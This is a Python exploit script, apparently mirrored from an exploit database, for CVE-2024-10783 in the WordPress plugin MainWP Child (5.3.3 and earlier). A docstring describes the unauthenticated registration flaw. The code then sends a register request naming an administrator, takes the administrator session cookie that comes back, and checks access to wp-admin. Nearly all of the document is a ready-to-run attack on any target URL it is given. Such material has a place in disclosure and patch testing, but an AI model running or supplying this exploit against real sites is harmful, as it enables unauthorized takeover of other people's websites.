Share
## https://sploitus.com/exploit?id=PACKETSTORM:226390
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin MainWP Child <= 5.3.3 - Unauthenticated Administrator Session Takeover (Rogue Site Registration)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/mainwp-child/
    # Software Link: https://downloads.wordpress.org/plugin/mainwp-child.5.3.3.zip
    # Version: 5.3.3 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-10783
    """
    MainWP Child <= 5.3.3 registers its dashboard-connection handler on 'init' (parse_init) with NO
    authentication. When POST function=register is received, register_site()
    (class/class-mainwp-connect.php:76) validates the connection request. On a child site that is NOT
    yet connected to any dashboard and that has password-authentication disabled (the default),
    is_verified_register() returns true unconditionally (is_enabled_user_passwd_auth() == false),
    is_never_verify_register() returns true (no prior verified registers), and mainwpver is omitted so
    the "dashboard older than 5.3" branch is taken. The handler then calls login(<user>) which runs
    wp_set_current_user() + wp_set_auth_cookie() for the supplied administrator login, returning a
    valid administrator session cookie to the unauthenticated caller.
    
    Result: an unauthenticated attacker who knows (or guesses) an administrator login name obtains a
    fully-authenticated administrator session cookie in a single request -> full site takeover.
    
    Prior state: plugin active + child site not yet connected to a MainWP dashboard (default on fresh
    install). Non-HTTPS labs require define('MAINWP_ALLOW_NOSSL_CONNECT', true) (SSL check at :114);
    production child sites are typically served over HTTPS where this constant is unnecessary.
    """
    import argparse, sys, re
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--admin", default="admin", help="administrator login name to hijack")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        pubkey = "-----BEGIN PUBLIC KEY-----\nAAAA\n-----END PUBLIC KEY-----"
        r = s.post(base + "/", data={"function": "register", "user": args.admin, "pubkey": pubkey},
                   allow_redirects=False, timeout=30)
        logged = any(c.startswith("wordpress_logged_in") for c in s.cookies.keys())
        body_ok = "<mainwp>" in r.text or "register" in r.text
        print(f"[*] Target: {base} | admin login: {args.admin}")
        print(f"[*] register -> HTTP {r.status_code} | logged_in cookie: {logged} | mainwp response: {body_ok}")
        if not logged:
            print("\n[-] no session cookie returned (already connected? passwd-auth enabled?)"); return 1
        # prove: reach an administrator-only screen with the harvested session
        p = s.get(base + "/wp-admin/plugins.php", timeout=20)
        if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
            print(f"\n[+] ADMIN SESSION TAKEOVER CONFIRMED โ€” unauthenticated caller now holds an "
                  f"administrator session for '{args.admin}' (reached wp-admin/plugins.php).")
            return 0
        print(f"\n[-] cookie set but admin screen not reachable (plugins.php={p.status_code})"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())